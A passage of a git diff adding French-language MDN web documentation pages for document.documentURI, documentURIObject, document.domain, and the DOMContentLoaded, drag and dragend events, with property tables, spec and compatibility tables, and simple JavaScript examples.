+<p>Initialement, la spécification DOM3 définissait cet attribut en lecture/écriture. Dans la norme actuelle DOM, il est en lecture seule.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>string</var> = document.documentURI;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les documents HTML ont une propriété {{domxref("document.URL")}} qui renvoie la même valeur. Contrairement à l'<code>URL</code>, <code>documentURI</code> est disponible pour tous les types de documents.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+
+<p>{{Compat("api.Document.documentURI")}}</p>
diff --git a/files/fr/web/api/document/documenturiobject/index.html b/files/fr/web/api/document/documenturiobject/index.html
new file mode 100644
index 0000000000..3c9f6fcb6f
--- /dev/null
+++ b/files/fr/web/api/document/documenturiobject/index.html
@@ -0,0 +1,38 @@
+---
+title: document.documentURIObject
+slug: Web/API/Document/documentURIObject
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - Reference
+translation_of: Web/API/Document/documentURIObject
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>La propriété en lecture seule <code><strong>Document.documentURIObject</strong></code> renvoie un objet {{ Interface("nsIURI") }} représentant l'URI du <a href="https://developer.mozilla.org/fr/docs/Web/API/document">document</a>.</p>
+
+<p>Cette propriété fonctionne uniquement pour les scripts privilégiés (UniversalXPConnect), comme le code des extensions. Pour le contenu Web, elle n'a aucune signification particulière et peut être utilisée comme n'importe quelle propriété personnalisée.</p>
+
+<p>Dans le cas d'un code privilégié, il convient de faire attention à ne pas essayer d'obtenir ou modifier cette propriété sur un objet de contenu non enveloppé (par exemple sur l'objet <code>wrappedJSObject</code> d'un <code><a href="https://developer.mozilla.org/fr/docs/Mozilla/Tech/Xray_vision">XPCNativeWrapper</a></code>). Consultez les commentaires du {{ Bug(324464) }} pour plus de détails.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">var uri = doc.documentURIObject;</code></pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">// Vérifie que le schéma d'URI pour l'onglet courant dans Firefox est « http »,
+// en supposant que ce code s'exécute dans le contexte de browser.xul
+
+var uriObj = content.document.documentURIObject;
+var uriPort = uriObj.port;
+
+if (uriObj.schemeIs('http')) {
+  ...
+}
+</pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
diff --git a/files/fr/web/api/document/domain/index.html b/files/fr/web/api/document/domain/index.html
new file mode 100644
index 0000000000..94d4f1775b
--- /dev/null
+++ b/files/fr/web/api/document/domain/index.html
@@ -0,0 +1,61 @@
+---
+title: Document.domain
+slug: Web/API/Document/domain
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - NeedsCompatTable
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Propriété
+  - Reference
+translation_of: Web/API/Document/domain
+---
+<div>{{ApiRef}}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Retourne/définit la partie domaine de l'origine du document courant, telle qu'utilisée par la <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">politique d'origine identique</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>chaineDomaine</var> = document.domain; document.domain = <em>chaine</em>;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js" dir="rtl">// Pour le document www.example.xxx/good.html,
+// ce script ferme la fenêtre
+var mauvaisDomaine = "www.example.xxx";
+
+if (document.domain == mauvaisDomaine )
+   window.close(); // juste un exemple - window.close() n'a parfois aucun effet.</pre>
+
+<pre class="brush:js">// Pour l'URI http://developer.mozilla.org/en-US/docs/Web, ce qui
+// suit définit le domaine comme étant la chaîne "developer.mozilla.org"
+var domaine = document.domain;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Cette propriété retourne <code>null</code> si le domaine du document ne peut pas être identifié.</p>
+
+<p>Mozilla vous laissera la définir à un superdomaine de la valeur courante, contraint par son <a href="/en-US/docs/XPCOM_Interface_Reference/nsIEffectiveTLDService#getBaseDomain.28.29" title="nsIEffectiveTLDService#getBaseDomain.28.29">domaine de base</a>. Par exemple, sur developer.mozilla.org, il est possible de la définir à "mozilla.org" mais pas à "mozilla.com" ou "org".</p>
+
+<p>Si cette propriété est définie avec succès, la partie "port" de l'origine est également définie à null.</p>
+
+<p>Mozilla fait la distinction entre la propriété d'un <code>document.domain</code> qui n'a jamais été modifiée d'une explicitement définie avec le même domaine que l'URL du document, même si la propriété renvoie la même valeur dans les deux cas. Un document est autorisé à accéder à un autre si il ont tous deux défini <code>document.domain</code> à la même valeur, indiquant leur intention de coopérer, ou si aucun des deux n'a défini <code>document.domain</code> et que les domaines dans les URLs sont les mêmes (<a class="link-https" href="https://mxr.mozilla.org/mozilla-central/source/caps/nsPrincipal.cpp?rev=ecb7068b07a1&amp;mark=199-215#199" title="https://mxr.mozilla.org/mozilla-central/source/caps/src/nsScriptSecurityManager.cpp#1003">implementation</a>). Sans cette politique spéciale, chaque site serait sujet au Cross-Site-Scripting (XSS)  depuis ses sous-domaines (par exemple, <a class="link-https" href="https://bugzilla.mozilla.org" rel="freelink">https://bugzilla.mozilla.org</a> pourrait être attaqué par des pièces jointes de bugs sur <a class="link-https" href="https://bug*.bugzilla.mozilla.org" rel="freelink">https://bug*.bugzilla.mozilla.org</a>).</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-2250147">DOM Level 2 HTML: document.domain</a> (le décrit comme étant en lecture-seule)</li>
+ <li><a href="https://html.spec.whatwg.org/multipage/browsers.html#relaxing-the-same-origin-restriction" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/origin-0.html">HTML5: document.domain</a> (décrit un comportement similaire à celui de Mozilla)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">Politique de même origine pour JavaScriptHTML</a></li>
+</ul>
diff --git a/files/fr/web/api/document/domcontentloaded_event/index.html b/files/fr/web/api/document/domcontentloaded_event/index.html
new file mode 100644
index 0000000000..29c8b67905
--- /dev/null
+++ b/files/fr/web/api/document/domcontentloaded_event/index.html
@@ -0,0 +1,184 @@
+---
+title: 'Document: DOMContentLoaded event'
+slug: Web/API/Document/DOMContentLoaded_event
+translation_of: Web/API/Document/DOMContentLoaded_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'évènement <strong><code>DOMContentLoaded</code></strong> est déclenché quand le document HTML initiale est complètement chargé et analysé, sans attendre la fin du chargement des feuilles de styles, images et sous-document.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bouillonne</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui (bien que spécifié comme évènement simple non annulable)</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestion de l’évènement</th>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Un évènement différent, {{domxref("Window/load_event", "load")}} doit être utilisé pour détecter que la page entière est chargée. On utilise couramment à tord <code>load</code> là où <code>DOMContentLoaded</code> serait plus approprié.</p>
+
+<p>Du code JavaScript synchrone va mettre en pause la création du DOM. Si vous voulez charger le DOM le plus rapidement possible, vous pouvez faire votre code <a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">(en) JavaScript asynchrone</a> et <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">(en) optimiser le chargement des feuilles de styles</a>. Si vous chargez comme d'habitude, les feuilles de styles vont ralentir la création du DOM comme si elles étaient chargées en parallèle, en «volant» le trafique du document principale HTML.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Usage_simple">Usage simple</h3>
+
+<pre class="brush: js">document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM fully loaded and parsed');
+});
+</pre>
+
+<h3 id="Retarde_DOMContentLoaded">Retarde DOMContentLoaded</h3>
+
+<pre class="brush: html">&lt;script&gt;
+  document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM fully loaded and parsed');
+  });
+
+for( let i = 0; i &lt; 1000000000; i++)
+{} // This synchronous script is going to delay parsing of the DOM,
+   // so the DOMContentLoaded event is going to launch later.
+&lt;/script&gt;
+</pre>
+
+<h3 id="Vérifie_que_le_contenu_si_le_chargement_est_déjà_fini">Vérifie que le contenu si le chargement est déjà fini</h3>
+
+<p>L'évènement <code>DOMContentLoaded</code> peut-être déclenché avant que le script soit exécuté, donc il vaut mieux vérifier avant d'ajouter un écouteur d'évènement.</p>
+
+<pre class="brush: js">function doSomething() {
+  console.info('DOM loaded');
+}
+
+if (document.readyState === 'loading') {  // Loading hasn't finished yet
+  document.addEventListener('DOMContentLoaded', doSomething);
+} else {  // `DOMContentLoaded` has already fired
+  doSomething();
+}
+</pre>
+
+<h3 id="Démonstration">Démonstration</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="controls"&gt;
+  &lt;button id="reload" type="button"&gt;Reload&lt;/button&gt;
+&lt;/div&gt;
+
+&lt;div class="event-log"&gt;
+  &lt;label&gt;Event log:&lt;/label&gt;
+  &lt;textarea readonly class="event-log-contents" rows="8" cols="30"&gt;&lt;/textarea&gt;
+&lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">body {
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
+.controls {
+  grid-area: control;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+#reload {
+  height: 2rem;
+}
+
+</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () =&gt; {
+  log.textContent ='';
+  window.setTimeout(() =&gt; {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) =&gt; {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) =&gt; {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'syntax.html#the-end', 'DOMContentLoaded')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Document.DOMContentLoaded_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Évènements similaires: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}} et {{domxref("Window/unload_event", "unload")}}</li>
+ <li>Cet évènement sur la cible {{domxref("Window")}}: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/drag_event/index.html b/files/fr/web/api/document/drag_event/index.html
new file mode 100644
index 0000000000..7bd2710641
--- /dev/null
+++ b/files/fr/web/api/document/drag_event/index.html
@@ -0,0 +1,313 @@
+---
+title: drag
+slug: Web/API/Document/drag_event
+translation_of: Web/API/Document/drag_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement drag est déclenché lorsqu'un élément ou une section de texte est glissé (toutes les quelques centaines de milisecondes)</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("DragEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}, {{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Continuer l'opération drag &amp; drop.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The element that was underneath the element being dragged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">&lt;div class="dropzone"&gt;
+  &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+    This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+
+&lt;style&gt;
+  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+&lt;/style&gt;
+
+&lt;script&gt;
+  var dragged;
+
+  /* Les événements sont déclenchés sur les objets glissables */
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // Stocke une référence sur l'objet glissable
+      dragged = event.target;
+      // transparence 50%
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // reset de la transparence
+      event.target.style.opacity = "";
+  }, false);
+
+  /* Les événements sont déclenchés sur les cibles du drop */
+  document.addEventListener("dragover", function( event ) {
+      // Empêche default d'autoriser le drop
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      /* reset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent */
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // Empêche l'action par défaut (ouvrir<span class="short_text" id="result_box" lang="fr"><span> comme lien pour certains éléments)</span></span>
+      event.preventDefault();
+      // Déplace l'élément traîné vers la cible du drop sélectionnée
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "drag event")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+ <li><a href="http://jsfiddle.net/zfnj5rv4/">Demo</a></li>
+</ul>
diff --git a/files/fr/web/api/document/dragend_event/index.html b/files/fr/web/api/document/dragend_event/index.html
new file mode 100644
index 0000000000..74508d8303
--- /dev/null
+++ b/files/fr/web/api/document/dragend_event/index.html
@@ -0,0 +1,316 @@
+---
+title: dragend
+slug: Web/API/Document/dragend_event
+translation_of: Web/API/Document/dragend_event
+---
+<p>L'événement <strong>dragend</strong> est déclenché lorsque une opération de glissement est terminée (en relâchant le bouton de la souris ou en appuyant sur la touche Echap).</p>
+
+<h2 id="Informations_généralesEdit">Informations générales<a class="button section-edit only-icon" href="https://developer.mozilla.org/fr/docs/Web/Events/animationend$edit#Informations_g%C3%A9n%C3%A9rales"><span>Edit</span></a></h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("DragEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}, {{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Varie</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The element that was underneath the element being dragged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
